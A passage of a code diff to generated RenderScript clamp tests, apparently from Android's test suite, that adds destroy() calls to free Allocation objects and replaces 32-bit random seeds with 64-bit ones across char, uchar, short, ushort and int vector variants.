@@ -959,6 +1016,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar4Char4Char4Char4(inValue, out);
             verifyResultsClampChar4Char4Char4Char4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar4Char4Char4Char4: " + e.toString());
         }
@@ -968,9 +1026,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar4Char4Char4Char4(inValue, out);
             verifyResultsClampChar4Char4Char4Char4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar4Char4Char4Char4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar4Char4Char4Char4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1045,9 +1107,9 @@
     }
 
     private void checkClampUcharUcharUcharUchar() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xa4447655l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x75336f2fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x6906135l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x680c818a4447655l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xae40bae375336f2fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xae40bad806906135l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
@@ -1055,6 +1117,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUcharUcharUcharUchar(inValue, out);
             verifyResultsClampUcharUcharUcharUchar(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUcharUcharUcharUchar: " + e.toString());
         }
@@ -1064,9 +1127,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUcharUcharUcharUchar(inValue, out);
             verifyResultsClampUcharUcharUcharUchar(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUcharUcharUcharUchar: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUcharUcharUcharUchar(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1134,9 +1201,9 @@
     }
 
     private void checkClampUchar2Uchar2Uchar2Uchar2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x45dae301l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x662c1df3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xf7890ff9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xd69df43245dae301l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x82681747662c1df3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x8268173bf7890ff9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
@@ -1144,6 +1211,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar2Uchar2Uchar2Uchar2(inValue, out);
             verifyResultsClampUchar2Uchar2Uchar2Uchar2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar2Uchar2Uchar2Uchar2: " + e.toString());
         }
@@ -1153,9 +1221,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar2Uchar2Uchar2Uchar2(inValue, out);
             verifyResultsClampUchar2Uchar2Uchar2Uchar2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar2Uchar2Uchar2Uchar2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar2Uchar2Uchar2Uchar2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1223,9 +1295,9 @@
     }
 
     private void checkClampUchar3Uchar3Uchar3Uchar3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x625d4fddl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xb4e30847l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x463ffa4dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xa00235ba625d4fddl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x8e548af5b4e30847l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x8e548aea463ffa4dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
@@ -1233,6 +1305,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar3Uchar3Uchar3Uchar3(inValue, out);
             verifyResultsClampUchar3Uchar3Uchar3Uchar3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar3Uchar3Uchar3Uchar3: " + e.toString());
         }
@@ -1242,9 +1315,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar3Uchar3Uchar3Uchar3(inValue, out);
             verifyResultsClampUchar3Uchar3Uchar3Uchar3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar3Uchar3Uchar3Uchar3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar3Uchar3Uchar3Uchar3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1312,9 +1389,9 @@
     }
 
     private void checkClampUchar4Uchar4Uchar4Uchar4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7edfbcb9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x399f29bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x94f6e4a1l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x696677427edfbcb9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x9a40fea40399f29bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x9a40fe9894f6e4a1l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
@@ -1322,6 +1399,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar4Uchar4Uchar4Uchar4(inValue, out);
             verifyResultsClampUchar4Uchar4Uchar4Uchar4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar4Uchar4Uchar4Uchar4: " + e.toString());
         }
@@ -1331,9 +1409,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar4Uchar4Uchar4Uchar4(inValue, out);
             verifyResultsClampUchar4Uchar4Uchar4Uchar4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar4Uchar4Uchar4Uchar4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar4Uchar4Uchar4Uchar4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1408,9 +1490,9 @@
     }
 
     private void checkClampShortShortShortShort() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x7fc993ddl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xb4661447l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x45c3064dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x8035c0627fc993ddl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xb5d4bd1fb4661447l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xb5d4bd1445c3064dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 1), INPUTSIZE);
@@ -1418,6 +1500,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShortShortShortShort(inValue, out);
             verifyResultsClampShortShortShortShort(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShortShortShortShort: " + e.toString());
         }
@@ -1427,9 +1510,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShortShortShortShort(inValue, out);
             verifyResultsClampShortShortShortShort(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShortShortShortShort: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShortShortShortShort(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1497,9 +1584,9 @@
     }
 
     private void checkClampShort2Short2Short2Short2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x984e0915l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x2e67336fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xbfc42575l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x7eab8e9b984e0915l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x7b334b992e67336fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x7b334b8dbfc42575l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
@@ -1507,6 +1594,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort2Short2Short2Short2(inValue, out);
             verifyResultsClampShort2Short2Short2Short2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort2Short2Short2Short2: " + e.toString());
         }
@@ -1516,9 +1604,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort2Short2Short2Short2(inValue, out);
             verifyResultsClampShort2Short2Short2Short2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort2Short2Short2Short2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort2Short2Short2Short2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1586,9 +1678,9 @@
     }
 
     private void checkClampShort3Short3Short3Short3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xb4d075f1l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x7d1e1dc3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xe7b0fc9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x480fd023b4d075f1l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x871fbf477d1e1dc3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x871fbf3c0e7b0fc9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
@@ -1596,6 +1688,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort3Short3Short3Short3(inValue, out);
             verifyResultsClampShort3Short3Short3Short3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort3Short3Short3Short3: " + e.toString());
         }
@@ -1605,9 +1698,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort3Short3Short3Short3(inValue, out);
             verifyResultsClampShort3Short3Short3Short3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort3Short3Short3Short3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort3Short3Short3Short3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1675,9 +1772,9 @@
     }
 
     private void checkClampShort4Short4Short4Short4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xd152e2cdl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xcbd50817l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x5d31fa1dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x117411abd152e2cdl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x930c32f5cbd50817l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x930c32ea5d31fa1dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
@@ -1685,6 +1782,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort4Short4Short4Short4(inValue, out);
             verifyResultsClampShort4Short4Short4Short4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort4Short4Short4Short4: " + e.toString());
         }
@@ -1694,9 +1792,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort4Short4Short4Short4(inValue, out);
             verifyResultsClampShort4Short4Short4Short4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort4Short4Short4Short4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort4Short4Short4Short4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1771,9 +1873,9 @@
     }
 
     private void checkClampUshortUshortUshortUshort() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xf74c4341l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x94d3e2b3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x2630d4b9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xf5881eeff74c4341l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xd2a0571394d3e2b3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xd2a057082630d4b9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
@@ -1781,6 +1883,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshortUshortUshortUshort(inValue, out);
             verifyResultsClampUshortUshortUshortUshort(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshortUshortUshortUshort: " + e.toString());
         }
@@ -1790,9 +1893,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshortUshortUshortUshort(inValue, out);
             verifyResultsClampUshortUshortUshortUshort(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshortUshortUshortUshort: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshortUshortUshortUshort(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1860,9 +1967,9 @@
     }
 
     private void checkClampUshort2Ushort2Ushort2Ushort2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xfc36b705l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x4fa3b43fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xe100a645l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x6441dbe2fc36b705l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x52161e934fa3b43fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x52161e87e100a645l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
@@ -1870,6 +1977,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort2Ushort2Ushort2Ushort2(inValue, out);
             verifyResultsClampUshort2Ushort2Ushort2Ushort2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort2Ushort2Ushort2Ushort2: " + e.toString());
         }
@@ -1879,9 +1987,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort2Ushort2Ushort2Ushort2(inValue, out);
             verifyResultsClampUshort2Ushort2Ushort2Ushort2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort2Ushort2Ushort2Ushort2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort2Ushort2Ushort2Ushort2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -1949,9 +2061,9 @@
     }
 
     private void checkClampUshort3Ushort3Ushort3Ushort3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xfc64ee3dl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x610b3967l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xf2682b6dl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x6b244d61fc64ee3dl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x7b8d14b8610b3967l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x7b8d14acf2682b6dl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
@@ -1959,6 +2071,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort3Ushort3Ushort3Ushort3(inValue, out);
             verifyResultsClampUshort3Ushort3Ushort3Ushort3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort3Ushort3Ushort3Ushort3: " + e.toString());
         }
@@ -1968,9 +2081,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort3Ushort3Ushort3Ushort3(inValue, out);
             verifyResultsClampUshort3Ushort3Ushort3Ushort3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort3Ushort3Ushort3Ushort3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort3Ushort3Ushort3Ushort3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2038,9 +2155,9 @@
     }
 
     private void checkClampUshort4Ushort4Ushort4Ushort4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xfc932575l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x7272be8fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x3cfb095l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x7206bee0fc932575l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xa5040add7272be8fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xa5040ad203cfb095l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
@@ -2048,6 +2165,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort4Ushort4Ushort4Ushort4(inValue, out);
             verifyResultsClampUshort4Ushort4Ushort4Ushort4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort4Ushort4Ushort4Ushort4: " + e.toString());
         }
@@ -2057,9 +2175,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort4Ushort4Ushort4Ushort4(inValue, out);
             verifyResultsClampUshort4Ushort4Ushort4Ushort4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort4Ushort4Ushort4Ushort4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort4Ushort4Ushort4Ushort4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2134,9 +2256,9 @@
     }
 
     private void checkClampIntIntIntInt() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xbe6164c5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x7c8bf97fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xde8eb85l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xfeb3aa11be6164c5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xd11c228c7c8bf97fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xd11c22810de8eb85l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
@@ -2144,6 +2266,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampIntIntIntInt(inValue, out);
             verifyResultsClampIntIntIntInt(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampIntIntIntInt: " + e.toString());
         }
@@ -2153,9 +2276,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampIntIntIntInt(inValue, out);
             verifyResultsClampIntIntIntInt(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampIntIntIntInt: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampIntIntIntInt(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2223,9 +2350,9 @@
     }
 
     private void checkClampInt2Int2Int2Int2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xbd307c01l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x9398f8f3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x24f5eaf9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x56252903bd307c01l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x770112109398f8f3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x7701120524f5eaf9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
@@ -2233,6 +2360,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt2Int2Int2Int2(inValue, out);
             verifyResultsClampInt2Int2Int2Int2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt2Int2Int2Int2: " + e.toString());
         }
@@ -2242,9 +2370,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt2Int2Int2Int2(inValue, out);
             verifyResultsClampInt2Int2Int2Int2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt2Int2Int2Int2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt2Int2Int2Int2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -2312,9 +2444,9 @@
     }
 
     private void checkClampInt3Int3Int3Int3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x5600d2edl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x9c7caa77l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x2dd99c7dl, false);
